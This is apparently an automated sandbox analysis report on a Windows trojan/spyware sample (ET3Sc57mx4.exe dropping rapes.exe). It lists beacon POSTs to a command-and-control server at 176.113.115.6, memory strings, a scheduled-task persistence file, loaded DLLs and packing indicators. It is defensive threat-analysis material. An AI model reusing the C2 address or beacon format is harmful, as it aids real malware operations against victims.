Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 176.113.115.6 176.113.115.6

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_006505B0 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

5_2_006505B0

Source: unknown

HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kipu
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000005.00000002.3745898643.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000005.00000002.3745898643.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php
Source: rapes.exe, 00000005.00000002.3745898643.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php5
Source: rapes.exe, 00000005.00000002.3745898643.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php6
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpA
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpK
Source: rapes.exe, 00000005.00000002.3745898643.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpN
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpParameters
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpS
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpWindows
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpcff4a
Source: rapes.exe, 00000005.00000002.3745898643.0000000000E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phph
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpkC
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpn
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpoft
Source: rapes.exe, 00000005.00000002.3745898643.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpq&m))

System Summary

PE file contains section with special chars

Source: ET3Sc57mx4.exe	Static PE information: section name:
Source: ET3Sc57mx4.exe	Static PE information: section name: .idata
Source: ET3Sc57mx4.exe	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_006461F0	5_2_006461F0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_0064B700	5_2_0064B700
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00684047	5_2_00684047
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_006818D7	5_2_006818D7
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_006451A0	5_2_006451A0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_0064CC40	5_2_0064CC40
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00645450	5_2_00645450
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00672C20	5_2_00672C20
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_0066B4C0	5_2_0066B4C0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00685CD4	5_2_00685CD4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00685DF4	5_2_00685DF4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00644EF0	5_2_00644EF0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_0067C6DD	5_2_0067C6DD
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_0066F6DB	5_2_0066F6DB

Source: ET3Sc57mx4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ET3Sc57mx4.exe	Static PE information: Section: xzfgaoro ZLIB complexity 0.9944713533806218
Source: rapes.exe.0.dr	Static PE information: Section: xzfgaoro ZLIB complexity 0.9944713533806218

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/3@0/1

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File created: C:\Users\user\AppData\Local\Temp\bb556cff4a

Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ET3Sc57mx4.exe	Virustotal: Detection: 68%
Source: ET3Sc57mx4.exe	ReversingLabs: Detection: 57%

Source: ET3Sc57mx4.exe	String found in binary or memory: " /add /y
Source: ET3Sc57mx4.exe	String found in binary or memory: " /add
Source: ET3Sc57mx4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File read: C:\Users\user\Desktop\ET3Sc57mx4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ET3Sc57mx4.exe "C:\Users\user\Desktop\ET3Sc57mx4.exe"
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: ET3Sc57mx4.exe

Static file information: File size 2154496 > 1048576

Source: ET3Sc57mx4.exe

Static PE information: Raw size of xzfgaoro is bigger than: 0x100000 < 0x19e200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Unpacked PE file: 0.2.ET3Sc57mx4.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xzfgaoro:EW;aqeylmuw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xzfgaoro:EW;aqeylmuw:EW;.taggant:EW;
